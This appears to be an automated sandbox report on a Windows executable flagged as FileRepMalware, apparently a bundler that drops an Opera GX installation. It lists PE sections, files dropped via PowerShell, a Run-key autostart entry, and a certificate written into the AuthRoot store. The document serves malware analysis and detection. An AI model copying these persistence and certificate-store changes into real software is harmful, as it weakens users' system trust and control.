      Source: SecuriteInfo.com.FileRepMalware.27261.32754.exeStatic PE information: real checksum: 0x0 should be: 0x1b6aa9
      Source: SecuriteInfo.com.FileRepMalware.27261.32754.tmp.1.drStatic PE information: real checksum: 0x0 should be: 0x311f58
      Source: f_2.exe.7.drStatic PE information: real checksum: 0x0 should be: 0xdc027
      Source: SecuriteInfo.com.FileRepMalware.27261.32754.exeStatic PE information: section name: .didata
      Source: SecuriteInfo.com.FileRepMalware.27261.32754.tmp.1.drStatic PE information: section name: .didata
      Source: Opera_installer_2410130831026207884.dll.10.drStatic PE information: section name: .rodata
      Source: Opera_installer_2410130831026207884.dll.10.drStatic PE information: section name: CPADinfo
      Source: Opera_installer_2410130831026207884.dll.10.drStatic PE information: section name: malloc_h
      Source: Opera_installer_2410130831030207920.dll.11.drStatic PE information: section name: .rodata
      Source: Opera_installer_2410130831030207920.dll.11.drStatic PE information: section name: CPADinfo
      Source: Opera_installer_2410130831030207920.dll.11.drStatic PE information: section name: malloc_h
      Source: Opera_installer_2410130831037218040.dll.12.drStatic PE information: section name: .rodata
      Source: Opera_installer_2410130831037218040.dll.12.drStatic PE information: section name: CPADinfo
      Source: Opera_installer_2410130831037218040.dll.12.drStatic PE information: section name: malloc_h
      Source: vk_swiftshader.dll.13.drStatic PE information: section name: .gxfg
      Source: vk_swiftshader.dll.13.drStatic PE information: section name: .retplne
      Source: vk_swiftshader.dll.13.drStatic PE information: section name: _RDATA
      Source: vulkan-1.dll.13.drStatic PE information: section name: .gxfg
      Source: vulkan-1.dll.13.drStatic PE information: section name: .retplne
      Source: vulkan-1.dll.13.drStatic PE information: section name: _RDATA
      Source: win10_share_handler.dll.13.drStatic PE information: section name: .gxfg
      Source: win10_share_handler.dll.13.drStatic PE information: section name: .retplne
      Source: win10_share_handler.dll.13.drStatic PE information: section name: _RDATA
      Source: win8_importing.dll.13.drStatic PE information: section name: .gxfg
      Source: win8_importing.dll.13.drStatic PE information: section name: .retplne
      Source: win8_importing.dll.13.drStatic PE information: section name: _RDATA
      Source: Opera_installer_2410130831047078088.dll.13.drStatic PE information: section name: .rodata
      Source: Opera_installer_2410130831047078088.dll.13.drStatic PE information: section name: CPADinfo
      Source: Opera_installer_2410130831047078088.dll.13.drStatic PE information: section name: malloc_h
      Source: mojo_core.dll.13.drStatic PE information: section name: .gxfg
      Source: mojo_core.dll.13.drStatic PE information: section name: .retplne
      Source: mojo_core.dll.13.drStatic PE information: section name: _RDATA
      Source: mojo_core.dll.13.drStatic PE information: section name: malloc_h
      Source: notification_helper.exe.13.drStatic PE information: section name: .gxfg
      Source: notification_helper.exe.13.drStatic PE information: section name: .retplne
      Source: notification_helper.exe.13.drStatic PE information: section name: CPADinfo
      Source: notification_helper.exe.13.drStatic PE information: section name: _RDATA
      Source: opera.exe.13.drStatic PE information: section name: .gxfg
      Source: opera.exe.13.drStatic PE information: section name: .retplne
      Source: opera.exe.13.drStatic PE information: section name: _RDATA
      Source: opera_autoupdate.exe.13.drStatic PE information: section name: .gxfg
      Source: opera_autoupdate.exe.13.drStatic PE information: section name: .retplne
      Source: opera_autoupdate.exe.13.drStatic PE information: section name: CPADinfo
      Source: opera_autoupdate.exe.13.drStatic PE information: section name: LZMADEC
      Source: opera_autoupdate.exe.13.drStatic PE information: section name: _RDATA
      Source: opera_autoupdate.exe.13.drStatic PE information: section name: malloc_h
      Source: opera_browser.dll.13.drStatic PE information: section name: .gxfg
      Source: opera_browser.dll.13.drStatic PE information: section name: .retplne
      Source: opera_browser.dll.13.drStatic PE information: section name: .rodata
      Source: opera_browser.dll.13.drStatic PE information: section name: CPADinfo
      Source: opera_browser.dll.13.drStatic PE information: section name: LZMADEC
      Source: opera_browser.dll.13.drStatic PE information: section name: _RDATA
      Source: opera_browser.dll.13.drStatic PE information: section name: malloc_h
      Source: opera_browser.dll.13.drStatic PE information: section name: prot
      Source: opera_crashreporter.exe.13.drStatic PE information: section name: .gxfg
      Source: opera_crashreporter.exe.13.drStatic PE information: section name: .retplne
      Source: opera_crashreporter.exe.13.drStatic PE information: section name: CPADinfo
      Source: opera_crashreporter.exe.13.drStatic PE information: section name: _RDATA
      Source: opera_crashreporter.exe.13.drStatic PE information: section name: malloc_h
      Source: opera_elf.dll.13.drStatic PE information: section name: .gxfg
      Source: opera_elf.dll.13.drStatic PE information: section name: .retplne
      Source: opera_elf.dll.13.drStatic PE information: section name: _RDATA
      Source: opera_gx_splash.exe.13.drStatic PE information: section name: .gxfg
      Source: opera_gx_splash.exe.13.drStatic PE information: section name: .retplne
      Source: opera_gx_splash.exe.13.drStatic PE information: section name: _RDATA
      Source: CUESDK.x64_2017.dll.13.drStatic PE information: section name: .00cfg
      Source: dxcompiler.dll.13.drStatic PE information: section name: .gxfg
      Source: dxcompiler.dll.13.drStatic PE information: section name: .retplne
      Source: dxcompiler.dll.13.drStatic PE information: section name: _RDATA
      Source: dxil.dll.13.drStatic PE information: section name: _RDATA
      Source: installer.exe.13.drStatic PE information: section name: .gxfg
      Source: installer.exe.13.drStatic PE information: section name: .retplne
      Source: installer.exe.13.drStatic PE information: section name: _RDATA
      Source: installer_helper_64.exe.13.drStatic PE information: section name: .gxfg
      Source: installer_helper_64.exe.13.drStatic PE information: section name: .retplne
      Source: installer_helper_64.exe.13.drStatic PE information: section name: _RDATA
      Source: launcher.exe.13.drStatic PE information: section name: .gxfg
      Source: launcher.exe.13.drStatic PE information: section name: .retplne
      Source: launcher.exe.13.drStatic PE information: section name: LZMADEC
      Source: launcher.exe.13.drStatic PE information: section name: _RDATA
      Source: launcher.exe.13.drStatic PE information: section name: malloc_h
      Source: libEGL.dll.13.drStatic PE information: section name: .gxfg
      Source: libEGL.dll.13.drStatic PE information: section name: .retplne
      Source: libEGL.dll.13.drStatic PE information: section name: _RDATA
      Source: libGLESv2.dll.13.drStatic PE information: section name: .gxfg
      Source: libGLESv2.dll.13.drStatic PE information: section name: .retplne
      Source: libGLESv2.dll.13.drStatic PE information: section name: _RDATA
      Source: Opera_installer_2410130831051178136.dll.14.drStatic PE information: section name: .rodata
      Source: Opera_installer_2410130831051178136.dll.14.drStatic PE information: section name: CPADinfo
      Source: Opera_installer_2410130831051178136.dll.14.drStatic PE information: section name: malloc_h
      Source: assistant_installer.exe.19.drStatic PE information: section name: .00cfg
      Source: assistant_installer.exe.19.drStatic PE information: section name: .voltbl
      Source: assistant_installer.exe.19.drStatic PE information: section name: CPADinfo
      Source: browser_assistant.exe.19.drStatic PE information: section name: .00cfg
      Source: browser_assistant.exe.19.drStatic PE information: section name: .rodata
      Source: browser_assistant.exe.19.drStatic PE information: section name: .voltbl
      Source: browser_assistant.exe.19.drStatic PE information: section name: CPADinfo
      Source: mojo_core.dll.19.drStatic PE information: section name: .00cfg
      Source: mojo_core.dll.19.drStatic PE information: section name: .voltbl
      Source: Opera_installer_2410130833545532052.dll.23.drStatic PE information: section name: .gxfg
      Source: Opera_installer_2410130833545532052.dll.23.drStatic PE information: section name: .retplne
      Source: Opera_installer_2410130833545532052.dll.23.drStatic PE information: section name: .rodata
      Source: Opera_installer_2410130833545532052.dll.23.drStatic PE information: section name: CPADinfo
      Source: Opera_installer_2410130833545532052.dll.23.drStatic PE information: section name: LZMADEC
      Source: Opera_installer_2410130833545532052.dll.23.drStatic PE information: section name: _RDATA
      Source: Opera_installer_2410130833545532052.dll.23.drStatic PE information: section name: malloc_h
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exeCode function: 19_2_00412C00 push eax; ret 19_2_00412C2E
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_0082B10C push ecx; ret 21_2_0082B11F
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeFile created: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\launcher.exe.1728808435.old (copy)Jump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeFile created: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\win10_share_handler.dllJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exeFile created: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\mojo_core.dllJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpFile created: C:\Users\user\AppData\Local\Temp\is-GJEPE.tmp\_isetup\_setup64.tmpJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeFile created: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\dxcompiler.dllJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeFile created: C:\Users\user\AppData\Local\Temp\Opera_installer_2410130831026207884.dllJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeFile created: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\assistant_packageJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeFile created: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\setup.exeJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeFile created: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\vulkan-1.dllJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeFile created: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\libGLESv2.dllJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exeFile created: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\browser_assistant.exeJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeFile created: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_crashreporter.exeJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeFile created: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\launcher.exeJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\setup.exeFile created: C:\Users\user\AppData\Local\Temp\Opera_installer_2410130831037218040.dllJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeFile created: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\notification_helper.exeJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeFile created: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\mojo_core.dllJump to dropped file
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeFile created: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeFile created: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\additional_file0.tmpJump to dropped file
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeFile created: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_autoupdate.exe.1728808435.old (copy)Jump to dropped file
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeFile created: C:\Users\user\AppData\Local\Temp\Opera_installer_2410130833545532052.dllJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeFile created: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer_helper_64.exeJump to dropped file
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeFile created: C:\Users\user\AppData\Local\Temp\.opera\71A87FDC65A2\installer.exeJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeFile created: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera.exeJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeFile created: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_browser.dllJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\is-GJEPE.tmp\f_1.exeFile created: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeFile created: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\d3dcompiler_47.dllJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeFile created: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\dxil.dllJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeFile created: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\CUESDK.x64_2017.dllJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeFile created: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_elf.dllJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpFile created: C:\Users\user\AppData\Local\Temp\is-GJEPE.tmp\idp.dllJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeFile created: C:\Users\user\AppData\Local\Temp\Opera_installer_2410130831047078088.dllJump to dropped file
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\is-GJEPE.tmp\f_2.exeJump to dropped file
      Source: C:\Users\user\Desktop\SecuriteInfo.com.FileRepMalware.27261.32754.exeFile created: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exeFile created: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeFile created: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\win8_importing.dllJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeFile created: C:\Users\user~1\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe (copy)Jump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\Opera_GX_114.0.5282.93_Autoupdate_x64[1].exeJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeFile created: C:\Users\user\AppData\Local\Temp\Opera_installer_2410130831051178136.dllJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\Opera_GX_assistant_73.0.3856.382_Setup[1].exeJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeFile created: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_autoupdate.exeJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeFile created: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_gx_splash.exeJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeFile created: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeFile created: C:\Users\user\AppData\Local\Temp\Opera_installer_2410130831030207920.dllJump to dropped file
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\is-GJEPE.tmp\f_1.exeJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeFile created: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\vk_swiftshader.dllJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeFile created: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\opera_packageJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeFile created: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\libEGL.dllJump to dropped file
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeFile created: C:\Users\user\AppData\Local\Temp\Opera_installer_2410130833548756616.dllJump to dropped file
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeFile created: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeFile created: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\opera_packageJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeFile created: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\assistant_packageJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeFile created: C:\Users\user~1\AppData\Local\Temp\.opera\Opera GX Installer\opera_installer_20241013043103230.logJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeFile created: C:\Users\user~1\AppData\Local\Temp\.opera\Opera GX Installer\opera_installer_20241013043105347.logJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeFile created: C:\Users\user~1\AppData\Local\Temp\assistant_installer_20241013043304.logJump to behavior
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeFile created: C:\Users\user~1\AppData\Local\Temp\.opera\Opera GX Installer\opera_installer_20241013043355053.log
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Opera GX Stable
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Opera GX Stable
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpRegistry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdateJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpRegistry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRootJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpRegistry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRootJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeRegistry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdateJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeRegistry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRootJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeRegistry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRootJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4 BlobJump to behavior
      Source: C:\Users\user\Desktop\SecuriteInfo.com.FileRepMalware.27261.32754.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\SecuriteInfo.com.FileRepMalware.27261.32754.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
